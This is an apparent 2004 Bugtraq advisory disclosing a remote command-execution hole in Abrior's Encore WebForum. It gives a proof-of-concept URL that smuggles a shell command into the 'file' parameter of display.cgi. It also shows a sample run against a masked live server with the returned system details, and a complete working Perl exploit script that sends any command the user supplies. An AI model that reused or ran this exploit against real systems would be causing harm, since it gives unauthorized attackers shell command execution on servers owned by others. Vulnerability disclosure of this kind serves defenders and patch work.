Remote Exploit for Aborior's Encore Web Forum

From: XNUXER RESEARCH (xnuxer_at_hackermail.com)
Date: 04/03/04

  • Next message: Kostya Kortchinsky: "eMule v0.42d Buffer Overflow"
    To: bugtraq@securityfocus.com
    Date: Sat, 03 Apr 2004 13:47:52 +0700
    
    

    ==================================================================
    Product : Abrior's Encore WebForum
    Versions : Unchecked (maybe version I)
    Bug : Remote Command Execution via Display.cgi
    Impact : Attackers can execute remote command
    Risk : Medium/High
    Date : April 3, 2004
    Bug found by : k159 from g-security (g-security.tk)
    Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory
    Reference : http://www.infosekuriti.com
    Email : xnuxer@yahoo.com, xnuxer@hackermail.com
    ==================================================================

    Description
    -------------
    Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder (forumcgi).
    Attacker can execute command via browser with doing request to display.cgi and
    launch command from "file" variable.

    Proof Of Concept
    ----------------

    http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|

    Exploit
    -------
    This exploit presented by Schizoprenic from Xnuxer Research Lab.
    It just for education purpose only.

    [xnuxer@Server xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c "uname -a;id;uptime;"
    Remote Exploit Aborior's Encore Web Forum by Schizoprenic
    Xnuxer Research Laboratory (http://www.infosekuriti.com)
    Target: www.xxxxxxx.com
    Path Dir: /encore/forumcgi
    Command: uname -a;id;uptime;
    --------------------RESULT--------------------
    Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 i686 i686 i386 GNU/Linux
    uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),10044(webdev)
     01:41:08 up 17 days, 6:00, 0 users, load average: 0.00, 0.03, 0.00
    ----------------------------------------------

    Note: The real name of domain target in example protected for security reason.

    ############################################################
    #!/usr/bin/perl -w
    #
    # Remote Exploit Aborior's Encore Web Forum by Schizoprenic
    # Bug found by k-159 from g-security.tk

    require LWP::UserAgent;
    use Getopt::Std;

    getopts('t:d:c:');
    our($opt_t, $opt_d, $opt_c);

    my $target = $opt_t;
    my $dir = $opt_d;
    my $cmd = $opt_c;

    print "Remote Exploit Aborior's Encore Web Forum by Schizoprenic\n";
    print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
    print "Target: $target\n";
    print "Path Dir: $dir\n";
    print "Command: $cmd\n";

    my $ua = LWP::UserAgent->new;
    $ua->agent("IE/6.0 Windows");
    $ua->timeout(10);
    $ua->env_proxy;

    $req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

    my $response = $ua->get($req);
    print "--------------------RESULT--------------------\n";

    if ($response->is_success) {
         print $response->content;
    } else {
         die $response->status_line;
    }

    print "----------------------------------------------\n";

    # EOF by Xnuxer

    -- 
    _______________________________________________
    Get your free email from http://www.hackermail.com
    Powered by Outblaze
    

  • Next message: Kostya Kortchinsky: "eMule v0.42d Buffer Overflow"